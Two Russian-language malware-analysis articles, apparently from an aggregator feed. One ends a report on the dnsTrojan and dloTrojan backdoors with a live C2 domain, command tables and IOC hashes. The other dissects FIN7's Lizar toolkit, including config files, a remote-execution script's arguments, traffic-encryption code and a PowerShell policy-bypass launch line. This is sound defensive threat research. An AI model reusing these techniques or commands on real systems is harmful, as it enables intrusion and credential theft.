Подстрока d3d3MS5kb3RvbWF0ZXIuY2x1Yjsw представляет собой закодированную в base64 конфигурацию сервера управления www1.dotomater.club;0.


После запуска вредоносная программа извлекает из ресурсов, распаковывает и сохраняет в рабочей директории два файла:


  • LiveUpdate.exe (MD5: 1a7f595ba8c28974619582040dcad404),
  • ccL100U.dll (MD5: 0697433432d209c1ed95f6f75a111234).

Далее запускается файл LiveUpdate.exe, имеющий цифровую подпись Symantec Corporation.


В этом случае злоумышленники снова используют технику DLL hijacking: легитимная DLL заменяется на вредоносную ccL100U.dll. В результате исполнения кода библиотеки из ее ресурсов извлекается и распаковывается код самого бэкдора, который внедряется и исполняется в памяти легитимного процесса dllhost.exe. Для внедрения кода применяется техника Process Hollowing.


Если вредоносная программа прописывается в реестр, в ключ реестра HKCU\Environment добавляется параметр UserInitMprLogonScript со значением %AppData%\Roaming\Sep\LiveUpdate.exe.


Работа dnsTrojan


Все свои действия вредоносная программа логирует в файл %ProgramData%\logD.dat, при этом записанные данные похожи на отладочную информацию для злоумышленников (рис. 7).



Рис. 7. Фрагмент файла logD.dat


Закодированная в base64 конфигурация содержит адреса сервера управления и DNS-сервера. В текущем семпле раскодированная конфигурация выглядит так: www1.dotomater.club;0, то есть адрес конкретного DNS-сервера злоумышленников отсутствует, а для взаимодействия с сервером управления используется DNS-сервер зараженной системы.


Взаимодействие с сервером управления осуществляется с использованием DNS-туннелирования. Данные передаются серверу управления в виде DNS-запроса TXT-записи в зашифрованном виде.


Сразу после запуска на сервер управления отправляются следующие данные:


  • имя компьютера,
  • имя пользователя,
  • текущие дата и время,
  • версия операционной системы,
  • информация о сетевом адаптере,
  • архитектура процессора.

Из них формируется сообщение вида 8SDXCAXRZDJ;O0V2m0SImxhY;6.1.1;1;00-13-d2-e3-d6-2e;2020113052831619.


Все передаваемые на сервер управления данные преобразуются следующим образом:


  • шифруются с помощью алгоритма AES-128-CBC, ключ шифрования вырабатывается из константной строки dadadadadadadada с помощью функции CryptDeriveKey();
  • кодируются в base64.

При формировании домена, для которого запрашивается TXT-запись, после каждого 64-го символа ставится точка. Запросы, отправляемые вредоносной программой, можно увидеть на рис. 8.



Рис. 8. Пример трафика вредоносной программы dnsTrojan

В ответ на запрос, отправленный на предыдущем шаге из TXT-записей, dnsTrojan получает команды сервера и может исполнить их (табл. 8).


Табл. 8. Команды, исполняемые dnsTrojan
Команда Назначение
0x1 Получить онлайн-данные
0x2 Запустить сmd-шелл
0x3 Выполнить команду через cmd-шелл
0x4 Получить информацию о дисках CZ (тип, свободный объем памяти) или файлах
0x6 Прочитать файл
0x7 Скопировать файл
0x8 Удалить файл
0x9 Проверить наличие файла
0xA Сохранить файл
0xB Установить время бездействия программы (в минутах)
0xD Самоудалиться (очистить реестр)

dloTrojan


dloTrojan еще одна обнаруженная в процессе расследования вредоносная программа, которую мы классифицировали как бэкдор. Эта малварь не относится ни к одному из известных семейств вредоносов.


В процессе исполнения кода расшифровывается строка dlo, поэтому по аналогии с предыдущими двумя программами мы назвали ее dloTrojan.


Характеристики файлов исследуемого нами образца приведены в табл. 9.


Табл. 9. Свойства анализируемого экземпляра dloTrojan
Свойство EXE DLL
Имя ChromeFrameHelperSrv.exe chrome_frame_helper.dll
Тип файла PE32 executable (EXE) PE32 executable (DLL)
Размер (в байтах) 82 896 240 128
Время компиляции 12 июля 2013 года 19:11:41 14 сентября 2020 года 16:34:44
MD5 55a365b1b7c50887e1cb99010d7c140a bd23a69c2afe591ae93d56166d5985e1
SHA-1 6319b1c831d791f49d351bccb9e2ca559749293c 3439cf6f9c451ee89d72d6871f54c06cb0e0f1d2
SHA-256 be174d2499f30c14fd488e87e9d7d27e0035700cb2ba4b9f46c409318a19fd97 f0c07f742282dbd35519f7531259b1a36c86313e0a5a2cb5fe1dadcf1df9522d

Запуск dloTrojan


На сцену опять выходит DLL hijacking.


Итак, вредоносная программа dloTrojan состоит из двух компонентов:


  • ChromeFrameHelperSrv.exe невредоносный исполняемый файл (EXE), имеющий цифровую подпись Google Inc.,
  • chrome_frame_helper.dll вредоносная динамическая библиотека (DLL).

После запуска исполняемого EXE-файла подгружается код вредоносной DLL. При этом библиотека проверяет имя процесса, в который она загружена, и оно должно соответствовать имени ChromeFrameHelperSrv.exe. В противном случае, вредоносный код завершит свое исполнение.


Далее библиотека расшифровывает вредоносный исполняемый файл, код которого внедряется в еще один запущенный процесс ChromeFrameHelperSrv.exe с использованием техники Process Hollowing.


Работа dloTrojan


Вредоносная программа пытается получить данные значения с именем TID из одного из двух ключей реестра (это зависит от имеющихся привилегий в системе):


  • HKLM\Software\VS,
  • HKCU\Software\VS.

Если же значение в реестре отсутствует, создается один из указанных ключей реестра. В параметре TID прописывается строка из 16 произвольных символов, которую в дальнейшем можно рассматривать как ID зараженной системы.


Далее dloTrojan проверяет наличие подключения к сети в зараженной системе. Для этого она пытается установить соединение с www.microsoft[.]com.


Строки во вредоносной программе зашифрованы методом простого сложения по модулю двух с одним байтом (отличается для различных строк).


Затем малварь расшифровывает адрес сервера управления. В зависимости от конфигурации вредоносная программа может иметь несколько адресов, в текущей конфигурации адрес сервера управления один.


Теперь dloTrojan устанавливает соединение с сервером управления. Если подключиться к серверу не удалось, малварь пытается найти настроенные прокси-серверы одним из способов:


  • вызывает функцию InternetQueryOptionA() с параметром INTERNET_OPTION_PROXY и получает список доступных прокси-серверов;
  • достает из реестра HKEY_USERS\<user_SID>\Software\Microsoft\Windows\CurrentVersion\Internet Settings из параметра ProxyServer.

Далее на сервер управления отправляется следующая информация о зараженной системе:


  • имя компьютера,
  • имя пользователя;
  • IP-адреса зараженной системы,
  • сведения о версии операционной системы,
  • принадлежность компьютера к рабочей группе или домену,
  • идентификатор оригинального производителя оборудования результат работы функции GetOEMCP(),
  • ID, хранимый в реестре.

Данные передаются на сервер управления в зашифрованном виде.


В конце концов вредоносная программа получает возможность исполнять команды сервера управления: запускать cmd-шелл, создавать и удалять файлы, собирать информацию о дисках.


Перечень возможных команд приведен в табл. 10.


Табл. 10. Команды, исполняемые dloTrojan


Команда Назначение
0x1 Получить количество миллисекунд, прошедших с момента запуска системы
0x2 Запустить сmd-шелл
0x3 Выполнить команду через cmd-шелл
0x4 Закрыть cmd-шелл
0x5 Проверить существование файла. Если файла нет, создать его
0x6 Создать файл
0x7 Получить данные файла (размер, временные метки)
0x8 Прочитать файл
0x9 Получить информацию о дисках CZ (тип, объем свободной памяти)
0xA Перечислить файлы
0xB Удалить файл
0xC Переместить файл
0xD Запустить процесс
0xE Сделать скриншот
0xF Перечислить сервисы
0x10 Запустить сервис
0x11 Перечислить процессы и модули
0x12 Завершить процесс, затем перечислить процессы и модули
0x13 Закрыть сокет

И еще несколько программ, которые мы раскопали в ходе расследования


Вернемся к общедоступным утилитам, найденным на зараженных системах. С их помощью можно залезть в систему, утащить конфиденциальные данные и выполнить другие вредоносные действия. Ловите краткое описание каждой.


GetPassword


GetPassword предназначена для получения паролей из зараженной системы. Раньше исходный код утилиты лежал в репозитории MimikatzLite, но сейчас его почему-то удалили. Можем только поделиться скриншотом на рис. 9.



Рис. 9. Скриншот работы утилиты GetPassword


Quarks PwDump


Еще одна утилита для извлечения паролей из ОС Windows.


Исходный код можно найти в репозитории 0daytool-quarkspwdump. Скриншот утилиты приведен на рис. 10.



Рис. 10. Скриншот работы утилиты Quarks PwDump


wpmd v 2.3 (beta)


wpmd (windows password and masterkey decrypt) также предназначена для получения паролей в ОС Windows. Увы, источник мы не нашли, поэтому можем только показать скриншот (рис. 11).



Рис. 11. Скриншот работы утилиты wpmd v 2.3 (beta)


os.exe


os.exe позволяет определить версию ОС Windows (рис. 12). Источник тоже не найден :(



Рис. 12. Скриншот работы утилиты os.exe


nbtscan 1.0.35


nbtscan утилита командной строки, предназначенная для сканирования открытых серверов имен NETBIOS в локальной или удаленной TCP/IP-сети. Она обеспечивает поиск открытых общих ресурсов (рис. 13). Доступна на ресурсе Unixwiz.net.



Рис. 13. Скриншот работы утилиты nbtscan


Это расследование в очередной раз убедило нас, что даже заезженные и понятные техники способны доставить жертвам много неприятностей. Злоумышленники могут годами копаться в IT-инфраструктуре жертвы, которая и подозревать ничего не будет. Думаем, выводы вы сделаете сами :)


Напоследок хотим поделиться индикаторами компрометации:

PlugX (SHA256: EXE, DLL, Shell-code)


3124fcb79da0bdf9d0d1995e37b06f7929d83c1c4b60e38c104743be71170efe2f81cf43ef02a4170683307f99159c8e2e4014eded6aa5fc4ee82078228f6c3c0c831e5c3aecab14fe98ff4f3270d9ec1db237f075cd1fae85b7ffaf0eb2751e94004d84edf72720b270a49bf673c98aba2e4da65dc5a8542566cec073ee7812e3fcb055cf50884a192aca2f958f899eb0033c1a1b923deb7d56baaca9d7122d55efc36799631f12f54dfa574aafa1c8e1d4d1b659c159253987d24fecc3218518a98c2d905a1da1d9d855e86866921e543f4bf8621faea05eb14d8e5b23b60c68d58f68591a8306b15de98913897a34bc96ffc6db10e4113144cc54aaa0dda45697c9086fd5abd030ceb937c396c6893ecc8d4a848785fac61ce13d5740edca3124fcb79da0bdf9d0d1995e37b06f7929d83c1c4b60e38c104743be71170efe97ad6e95e219c22d71129285299c4717358844b90860bb7ab16c5178da3f168681e53c7d7c8aa8f98c951106a656dbe9c931de465022f6bafa780a6ba96751eb

PlugX-executor: (SHA256: EXE)


2f73a3c7fa58d93d60d3011724af2c7beddc39469c0613ce097657849ab32e8243f1bd29811393476320542473d6c1dedea172a62ccf1a876a04a53ed876f3a4

nccTrojan (SHA256: EXE, DLL)


07d728aa996d48415f64bac640f330a28e551cd565f1c5249195477ccf7ecfc53be516735bafbb02ba71d56d35aee8ce2ef403d08a4dc47b46d5be96ac342bc9

dnsTrojan (SHA256: EXE)


826df8013af53312e961838d8d92ba24de19f094f61bc452cd6ccb9b270edae5

dloTrojan (SHA256: EXE, DLL)


be174d2499f30c14fd488e87e9d7d27e0035700cb2ba4b9f46c409318a19fd97f0c07f742282dbd35519f7531259b1a36c86313e0a5a2cb5fe1dadcf1df9522d
Подробнее..

От пентеста до АРТ-атаки группа киберпреступников FIN7 маскирует свою малварь под инструментарий этичного хакера

21.04.2021 12:06:56 | Автор: admin

Статья подготовлена командой BI.ZONE Cyber Threat Research


Мы не первый раз натыкаемся на киберпреступные группировки, которые прикидываются легальными организациями и маскируют свою малварь под инструменты для анализа защищенности. Сотрудники таких компаний могут даже не подозревать, что работают на злоумышленников и используют самый настоящий вредоносный пакет.


FIN7 (также именуемая как Carbanak и Navigator Group), одна из знаменитых АРТ-группировок, для разведки и закрепления на зараженных системах разработала Lizar якобы инструмент для пентеста сетей Windows. Мы заинтересовались им и провели исследование, результатами которого поделимся в статье.


Раньше инструмент назывался Tirion, но дальше по тексту мы будем использовать только новое название Lizar


Немного о FIN7


APT-группировка FIN7, предположительно, основана еще в 2013 году, однако мы сосредоточимся на анализе ее деятельности с 2020 года: именно тогда киберпреступники сфокусировались на атаках с использованием шифровальщиков.


FIN7 составляла список жертв, фильтруя компании по доходу с помощью сервиса Zoominfo. В 20202021 годах мы наблюдали атаки на американские фармацевтические компании, IT-компанию со штаб-квартирой в Германии, один из ключевых финансовых институтов Панамы, игорное заведение и образовательные учреждения в США.


Довольно долго для целей разведки и закрепления на зараженных системах члены FIN7 использовали набор инструментов Carbanak Backdoor, почитать о котором можно в отчете FireEye (посты в блоге: 1, 2, 3, 4). Мы неоднократно наблюдали, как организаторы пытались маскироваться под представительство компании Check Point Software Technologies и Forcepoint. Пример этого интерфейс инструмента Carbanak Backdoor версии 3.7.4 с отсылкой к компании Check Point Software Technologies (рис. 1).



Рис. 1. Интерфейс инструмента Carbanak Backdoor версии 3.7.4


Недавно у преступников появился новый вредоносный пакет Lizar. В сети ранее публиковался отчет об исследовании Lizar версии 1.6.4, а мы решили изучить функциональные возможности компонентов более новой версии, 2.0.4 (дата и время компиляции Fri Jan 29 03:27:43 2021), обнаруженных нами в феврале 2021 года.


Архитектура набора инструментов Lizar


По структуре набор инструментов Lizar похож на Carbanak Backdoor. Краткая характеристика обнаруженных нами компонентов представлена в табл. 1.


Табл. 1. Сущность и назначение компонентов Lizar


Название компонента Описание компонента Процесс работы компонента
Lizar client Программа с графическим интерфейсом, с помощью которой участники группы FIN7 управляют лоадерами на зараженных устройствах. Предназначена для работы под управлением ОС Windows Программа общается с сервером, отправляет через него команды загрузчику на зараженной машине (лоадеру) и получает результат выполнения команд
Lizar server Программа, которая обеспечивает связь между клиентом и лоадером Программа работает на удаленном сервере
Lizar loader Лоадер, который предназначен для загрузки плагинов Лоадер общается с управляющим сервером и запускает необходимые плагины по команде с сервера
Lizar plugins Плагины, расположенные на стороне сервера Результат работы каждого плагина отправляется на сервер, а с сервера передается клиенту
Lizar plugins/extra Плагины, расположенные на стороне клиента Плагины из директории plugins/extra передаются от клиента к серверу, после чего от сервера к лоадеру (на зараженную систему)

Lizar loader и Lizar plugins работают на зараженной системе и логически могут быть объединены в компонент Lizar bot.


То, как функционируют и взаимодействуют инструменты Lizar, можно увидеть на рис. 2.



Рис. 2. Схема работы набора инструментов Lizar


Lizar client


Lizar client состоит из следующих компонентов:


  • client.ini.xml конфигурационный файл в формате XML;
  • client.exe основной исполняемый файл клиента;
  • libwebp_x64.dll 64-битная версия библиотеки libwebp;
  • libwebp_x86.dll 32-битная версия библиотеки libwebp;
  • keys директория с ключами, необходимыми для шифрования трафика между клиентом и сервером;
  • plugins/extra директория с плагинами (на практике в ней лежат лишь некоторые плагины, остальные расположены на сервере);
  • rat директория с публичным ключом из комплекта Carbanak Backdoor (этот компонент добавлен в последней версии Lizar).

Ниже представлено содержимое и описание конфигурационного XML-файла (табл. 2).


<?xml version="1.0" encoding="utf-8"?><Params xmlns:xsi="http://personeltest.ru/away/www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://personeltest.ru/away/www.w3.org/2001/XMLSchema">  <Servers>    <Server>      <Name>test</Name>      <IP>XX.XX.XX.XX</IP>      <Port>443</Port>      <FileKey>file.key</FileKey>    </Server>  </Servers>  <JumperApp>    <App>      <Name>svchost.exe</Name>    </App>    <App>      <Name>rundll32.exe</Name>    </App>  </JumperApp>  <HidePassedMinutes>1</HidePassedMinutes>  <ClientName>client-test</ClientName>  <TrafficLog>0</TrafficLog>  <Rats>    <RatConfig>      <Name>RatServer</Name>      <IP>XX.XX.XX.XX</IP>      <Port>443</Port>      <FileKey>rat\test.public.key</FileKey>    </RatConfig>  </Rats></Params>

Табл. 2. Характеристика элементов структуры конфигурационного XML-файла


Группа элементов Название элемента Описание элемента
Servers Server
Настройки сервера
Name Имя сервера, отображаемое клиентом
IP IP-адрес сервера
Port Порт, который слушает сервер
FileKey Файл с ключом, используемым для шифрования трафика между клиентом и сервером
JumperApp App
Конфигурация приложения на зараженной ОС, в процесс которого будет произведена миграция
Name Имя процесса, в который может мигрировать лоадер
Самостоятельные элементы HidePassedMinutes Конфигурационный параметр, от которого зависит отображение прошедших минут в графическом интерфейсе клиента. Принимает два значения: 0 (прошедшие минуты скрываются) и 1 (прошедшие минуты отображаются)
ClientName Имя клиента
TrafficLog Конфигурационный параметр, от которого зависит логирование сетевого взаимодействия с сервером. Принимает два значения: 0 (сетевое взаимодействие логируется) и 1 (сетевое взаимодействие не логируется)
Rats RatConfig
Настройки плагина Rat, представляющего собой урезанную версию бота из набора инструментов Carbanak Backdoor
Name Имя сервера или панели администратора из набора инструментов Carbanak Backdoor
IP IP-адрес сервера или панели администратора из набора инструментов Carbanak Backdoor
Port Порт сервера Carbanak Backdoor
FileKey Файл, который содержит необходимый для работы Carbanak Backdoor публичный ключ RSA

В табл. 3 представлены характеристики обнаруженного файла client.exe.


Табл. 3. Файл client.exe


Характеристики Значение
Имя файла client.exe
SHA-256 78a744a64d3afec117a9f5f11a9926d45d0064c5a46e3c0df5204476a1650099 (нет на VT)
Тип файла PE32 executable for MS Windows (GUI) Intel 80386 Mono/.Net assembly
Размер 238 080 байт

На рис. 3 скриншот интерфейса последней обнаруженной нами версии клиента.



Рис. 3. Интерфейс версии 2.0.4 Lizar client


Описание колонок
Название колонки Содержимое колонки
Id Информация о боте в виде {имя бота}:{идентификатор бота}:{pid}, где:
  • идентификатор бота контрольная сумма от системной информации (алгоритм генерации идентификатора бота описан в разделе Lizar loader)
  • pid значение идентификатора процесса, в котором функционирует лоадер (если лоадер неактивен, pid принимает значение 0)
Pid Такое же значение, как pid из колонки Id
Platform Битность и тип процесса, в котором функционирует лоадер:
  • x86 лоадер 32-битный файл EXE или DLL
  • x86.net лоадер 32-битный файл EXE или DLL, написанный на платформе .NET Framework
  • x64 лоадер 64-битный файл EXE или DLL
  • x64.net лоадер 64-битный EXE или DLL, написанный на платформе .NET Framework
External IP Внешний IP-адрес зараженной системы, на которой запущен лоадер (не всегда отображается корректно)
Local IP Внутренний IP-адрес зараженной системы, на которой запущен лоадер
Country Страна, на территории которой находится зараженная система
AV Название антивирусного продукта
First, Last Временные метки первого и последнего отстука лоадера
Passed Количество минут, прошедших с момента последнего отстука до текущего момента
Next Количество секунд, через которое произойдет следующее взаимодействие клиента с сервером (если лоадер неактивен, значение становится отрицательным)
Company Пустая колонка, где в будущем, вероятно, будет отображаться имя зараженной компании, полученное из домена
Info Базовая информация о зараженной системе: домен, имя пользователя, версия зараженной системы
Protocol Протокол общения с сервером (может принимать значения unknown и tcp)
Server Имя сервера, значение которого берется из конфигурации
Comment, Outer string Дополнительная информация, которая сейчас не используется

Клиент поддерживает несколько команд для бота. То, как они выглядят в графическом интерфейсе, можно увидеть на рис. 4.



Рис. 4. Список команд, поддерживаемых Lizar client


Вот что позволяет сделать каждая из команд:


  • Info получить информацию о системе. Плагин для данной команды расположен на сервере. При получении от плагина результата информация записывается в колонку Info.


  • Kill завершить работу плагина.


  • Period изменить период отстука (рис. 5).

    Рис. 5. Команда Period в графическом интерфейсе Lizar client


  • Screenshot сделать скриншот (рис. 6). Плагин для данной команды расположен на сервере. Если удалось сделать скриншот, он отобразится в отдельном окне.

    Рис. 6. Команда Screenshot в графическом интерфейсе Lizar client


  • List Processes получить список процессов (рис. 7). Плагин для данной команды расположен на сервере. В случае успешной работы плагина список процессов отображается в отдельном окне.

    Рис. 7. Команда List Processes в графическом интерфейсе Lizar client


  • Command Line получить CMD на зараженной системе. Плагин для данной команды расположен на сервере. Если плагин успешно выполнил команду, результат отобразится в отдельном окне.


  • Executer запустить дополнительный модуль (рис. 8).

    Рис. 8. Команда Executer в графическом интерфейсе Lizar client


  • Jump to осуществить миграцию лоадера в другой процесс. Плагин для данной команды расположен на сервере. Параметры команды передаются через файл client.ini.xml.


  • New session создать еще одну сессию лоадера (запустить копию лоадера на зараженной системе).


  • Mimikatz запустить mimikatz.


  • Grabber запустить один из плагинов, собирающих пароли в браузерах и ОС. Во вкладке Grabber есть две кнопки: Passwords + Screens и RDP (рис. 9). При использовании каждой из них отправляется команда на запуск соответствующего плагина.



    Рис. 9. Команда Grabber в графическом интерфейсе Lizar client

Network analysis запустить один из плагинов для получения информации об Active Directory и информации о сети (рис. 10).



Рис. 10. Команда Network analysis в графическом интерфейсе Lizar client

Rat запустить Carbanak Backdoor (RAT). IP-адрес и порт сервера и панели администратора задаются через конфигурационный файл client.ini.xml (рис. 11).



Рис. 11. Команда Rat в графическом интерфейсе Lizar client


Мы перепрыгнули команду в общем списке Company computers она в настоящее время не обрабатывается. В коде образца нет обработчика для данной команды, так что мы не можем точно определить, что она делает.


Lizar server


Приложение Lizar server, как и Lizar client, написано на платформе .Net Framework. В отличие от клиента, сервер запускается на удаленном Linux-хосте. Дата и время компиляции последней обнаруженной нами версии сервера: Fri Feb 19 16:16:25 2021. Приложение запускается при помощи утилиты wine с предустановленным wine-mono (wine-mono-5.0.0-x86.msi).


Директория приложения сервера включает в себя следующие компоненты:


  • client/keys директория с ключами шифрования для корректного взаимодействия с клиентом.
  • loader/keys директория с ключами шифрования для корректного взаимодействия с лоадером.
  • logs директория с логами работы сервера (client-traffic, error, info).
  • plugins директория с плагинами.
  • ThirdScripts директория со скриптом ps2x.py и вспомогательным модулем ps2p.py. Скрипт ps2x.py предназначен для исполнения файлов на удаленном хосте и реализован с использованием проекта impacket. Заготовки команд для этого скрипта отображаются в приложении клиента при выборе соответствующей опции.

Полный список аргументов, поддерживаемых скриптом
    self.parser = argparse.ArgumentParser(description='ps2exec python module')    self.parser.add_argument('rhost', help='remote host and SMB-port like this: <host ip or name>[:port]')    self.parser.add_argument(        'rfile', help='remote (payload) file specification like this: <share>[[:<path>]:<file>]')    self.parser.add_argument('lfile', help='local (payload) file specification')    self.parser.add_argument('-c', '--cmd',          help='command to execute on RHOST')    self.parser.add_argument('-o', '--output',       help='remote file to collect output', default='', nargs='?')    self.parser.add_argument('-u', '--user',         help='user name', default='')    self.parser.add_argument('-p', '--password',     help='user password', default='')    self.parser.add_argument('-d', '--domain',       help='user domain', default='')    self.parser.add_argument('-n', '--sockshost',    help='socks5 server name or ip', default='localhost')    self.parser.add_argument('-k', '--socksport',    help='socks5 server port number', type=int, default=8129)    self.parser.add_argument('-s', '--hash',                                   help='user password hash like this: <LM-Hash>:<NT-Hash>', default='')    self.parser.add_argument('-l', '--loglevel', type=int, default=3,                              help='logging level from 0 to 5 (NONE, CRITICAL, ERROR, WARNING, INFO, DEBUG)')

  • x64 директория с файлом вспомогательной библиотеки SQLite.Interop.dll (64-битная версия).
  • x86 директория с файлом вспомогательной библиотеки SQLite.Interop.dll (32-битная версия).
  • AV.lst CSV-файл, содержащий имя процесса, который ассоциируется с антивирусным продуктом, название и описание антивирусного продукта. Несколько строк из файла AV.lst:

aexnsagent.exe|Altiris|Altiris Agentaexswdusr.exe|Altiris|Altiris Express NS Client ManagerALERT.EXE|eTrust|CA eTrust Integrated Threat Management 8.1/CA Jinchen KillALUNotify.exe|Symantec|Symantecavcenter.exe|Avira|Avira

  • data.db файл с базой данных, содержащей информацию обо всех лоадерах (эта информация подгружается в приложение клиента).
  • server.exe приложение сервера.
  • server.ini.xml конфигурационный файл приложения сервера.

Пример содержимого конфигурационного файла
    <?xml version="1.0" encoding="utf-8"?>    <Params xmlns:xsi="http://personeltest.ru/away/www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://personeltest.ru/away/www.w3.org/2001/XMLSchema">      <protocols>        <PP>          <protocol>TCP</protocol>          <port>443</port>        </PP>      </protocols>      <TrafficLog>0</TrafficLog>    </Params>

  • System.Data.SQLite.dll файл вспомогательной библиотеки.

Обмен данными между клиентом и сервером


Перед отправкой на сервер данные шифруются на сессионном ключе размером от 5 до 15 байт, затем на ключе, указанном в конфигурации (31 байт). Используемая функция шифрования представлена ниже.


public static void EncodeData(byte[] data, int szdata, byte[] key, int szkey){  byte b = 0;  int num = 0;  for (int i = 0; i < szdata; i++)  {    byte b2 = data[i];    data[i] = (data[i] ^ b ^ key[num]);    b = b2;    num = (num + 1) % szkey;  }}

Если ключ, указанный в конфигурации (31 байт), не совпадает с ключом на сервере, данные с сервера не отправляются.


Для проверки ключа на стороне сервера клиент отправляет контрольную сумму от ключа, рассчитанную по следующему алгоритму:


public static uint CalcHash(byte[] m, int offset, int size){  uint num = 0U;  for (int i = 0; i < size; i++)  {    num ^= (uint)m[offset + i];    num *= 16777619U;  }  return num;}

Данные, полученные с сервера, расшифровываются на сессионном ключе размером от 5 до 15 байт, затем на ключе, указанном в конфигурации (31 байт). Функция для расшифровывания:


public static void DecodeData(byte[] data, int szdata, byte[] key, int szkey)  {    byte b = 0;    int num = 0;    for (int i = 0; i < szdata; i++)    {      data[i] = (data[i] ^ b ^ key[num]);      b = data[i];      num = (num + 1) % szkey;    }  }

Данные, передаваемые от клиента серверу и от сервера клиенту, имеют бинарный формат. Расшифрованные данные представляют собой список ботов (рис. 12).



Рис. 12. Пример расшифрованных данных, переданных от сервера клиенту


Lizar loader


Lizar loader предназначен для выполнения команд посредством запуска плагинов, а также для запуска дополнительных модулей. Он работает на стороне зараженного компьютера.
Как мы уже отметили, Lizar loader и Lizar plugins работают на зараженной системе и логически могут быть объединены в компонент Lizar bot. Модульная архитектура бота обеспечивает расширяемость инструмента и возможность вести независимую разработку всех компонентов.
Мы обнаружили три вида ботов: DLL, EXE и PowerShell-скрипты, которые в результате исполняют DLL в адресном пространстве процесса PowerShell.


Псевдокод главной функции лоадера вместе с восстановленной структурой функций представлены на рис. 13.



Рис. 13. Псевдокод главной функции лоадера


Вот что происходит в функции x_Init:


  1. Генерация случайного ключа g_ConfigKey31 при помощи функции SystemFunction036. Данный ключ используется в дальнейшем для расшифровывания конфигурационных данных.


  2. Получение системной информации и подсчет контрольной суммы от полученной информации (рис. 14).

    Рис. 14. Псевдокод для получения системной информации и подсчета контрольной суммы от нее


  3. Получение идентификатора текущего процесса (контрольная сумма и PID процесса лоадера отображаются в колонке Id в приложении клиента).


  4. Подсчет контрольной суммы от ранее полученной контрольной суммы и идентификатора текущего процесса (на рис. 13 обозначено как g_BotId).


  5. Расшифровывание конфигурационных данных: списка IP-адресов, списка портов для каждого сервера. Конфигурационные данные расшифровываются на 31-байтовом ключе g_LoaderKey алгоритмом XOR. После расшифровывания данные повторно зашифровываются на ключе g_ConfigKey31 алгоритмом XOR. Ключ g_LoaderKey также используется при шифровании данных, отправляемых на сервер, и при расшифровывании данных, получаемых с сервера.


  6. Инициализация глобальных переменных и критических секций для некоторых переменных. Это нужно для доступа к данным из различных потоков.


  7. Инициализация исполняемой памяти для выполнения плагинов.


  8. Запуск пяти потоков, в которых происходит обработка очереди сообщений с сервера. Этот механизм реализован с помощью функций PostQueuedCompletionStatus и GetQueuedCompletionStatus. Данные, полученные с сервера, расшифровываются и отправляются обработчику (рис. 15).

    Рис. 15. Псевдокод алгоритма расшифровывания данных, полученных с сервера, и передачи этих данных обработчику



При этом обработчик принимает данные с помощью функции GetQueuedCompletionStatus.


Тело плагинов содержится в переменной vServerDataServerData после расшифровывания (еще раз взгляните на рис. 15). Псевдокод алгоритма, которым расшифровываются данные, полученные с сервера, представлен на рис. 16.



Рис. 16. Псевдокод алгоритма расшифровывания данных, полученных с сервера


Перед отправкой на сервер структура данных формируется так, как показано на рис. 17.

Рис. 17. Псевдокод функции, в которой генерируется структура, отправляемая серверу


Плагины из директории plugins


Плагины из директории plugins отправляются с сервера лоадеру и исполняются лоадером при осуществлении определенного действия в приложении Lizar Сlient.


Механизм работы плагинов в общем виде можно представить так:


  1. Пользователь выбирает команду в интерфейсе приложения Lizar client.
  2. Информация о выбранной команде отправляется на Lizar server.
  3. В зависимости от команды и битности лоадера сервер находит подходящий плагин из директории plugins и отправляет лоадеру запрос, содержащий команду и тело плагина (например, Screenshot{битность лоадера}.dll).
  4. Лоадер выполняет плагин и сохраняет результат выполнения плагина в специально выделенной области памяти на куче.
  5. Результат выполнения плагина отправляется на сервер, а с сервера клиенту.
  6. В приложении клиента отображается результат работы плагина.

Полный список плагинов (32-битных и 64-битных DLL) из директории plugins
  • CommandLine32.dll
  • CommandLine64.dll
  • Executer32.dll
  • Executer64.dll
  • Grabber32.dll
  • Grabber64.dll
  • Info32.dll
  • Info64.dll
  • Jumper32.dll
  • Jumper64.dll
  • ListProcess32.dll
  • ListProcess64.dll
  • mimikatz32.dll
  • mimikatz64.dll
  • NetSession32.dll
  • NetSession64.dll
  • rat32.dll
  • rat64.dll
  • Screenshot32.dll
  • Screenshot64.dll

CommandLine32.dll/CommandLine64.dll


Плагин предназначен для предоставления злоумышленникам доступа к интерфейсу командной строки на зараженной системе.


Отправка команд процессу cmd.exe и получение результата выполнения команд реализованы через пайпы (рис. 18).



Рис. 18. Псевдокод главной функции CommandLine32.dll/CommandLine64.dll


Executer32.dll/Executer64.dll


С помощью Executer32.dll/Executer64.dll запускаются дополнительные компоненты, указанные в интерфейсе приложения Lizar client.


Плагин поддерживает запуск следующих компонентов:


  • файла EXE из директории %TEMP%;
  • PowerShell-скрипта из директории %TEMP%, который запускается при помощи следующей команды: {путь к файлу powershell.exe} -ex bypass -noprof -nolog -nonint -f {путь к PowerShell-скрипту};
  • DLL в памяти;
  • шелл-кода.

Код плагина, который запускает шелл-код, представлен на рис. 19.



Рис. 19. Код Executer32.dll/Executer64.dll, запускающий шелл-код


Следует отметить, что файл плагина Executer64.dll содержит путь к PDB: M:\paal\Lizar\bin\Release\Plugins\Executer64.pdb.


Grabber32.dll/Grabber64.dll


Вопреки своему названию, данный плагин не содержит функциональности граббера и представляет собой типичный загрузчик PE-файла.


Хотя злоумышленники и называют его граббером, на деле загруженный PE-файл выполняет функции других инструментов, например стилера.


Обе версии плагина используются в качестве загрузчиков грабберов, расположенных на стороне клиента: PswRdInfo64 и PswInfoGrabber64.


Info32.dll/Info64.dll


Плагин предназначен для получения информации о зараженной системе.


Плагин выполняется при использовании команды Info в приложении Lizar client. На сервер отправляется структура данных, содержащая версию ОС, имя пользователя и имя компьютера.


На стороне сервера полученная структура приводится к специальной строке (рис. 20).



Рис. 20. Приведение полученной структуры к специальной строке на стороне сервера


Jumper32.dll/Jumper64.dll


Плагин предназначен для миграции лоадера в адресное пространство другого процесса. Параметры инжекта выставляются в конфигурационном файле Lizar client. Следует отметить, что данный плагин может быть использован не только для инжекта лоадера, но и для выполнения других PE-файлов в адресном пространстве указанного процесса. На рис. 21 представлен участок главной функции плагина.



Рис. 21. Псевдокод главной функции Jumper32.dll/Jumper64.dll


Из представленного псевдокода видно, что миграция лоадера в адресное пространство указанного процесса может происходить тремя способами:


  • по идентификатору процесса, в который осуществляется инжект;
  • по имени исполняемого файла, в который осуществляется инжект;
  • путем миграции в такой же процесс.

Рассмотрим каждый из них подробнее.


Алгоритм инжекта по идентификатору процесса


  1. OpenProcess плагин получает хендл процесса для указанного идентификатора процесса (PID).
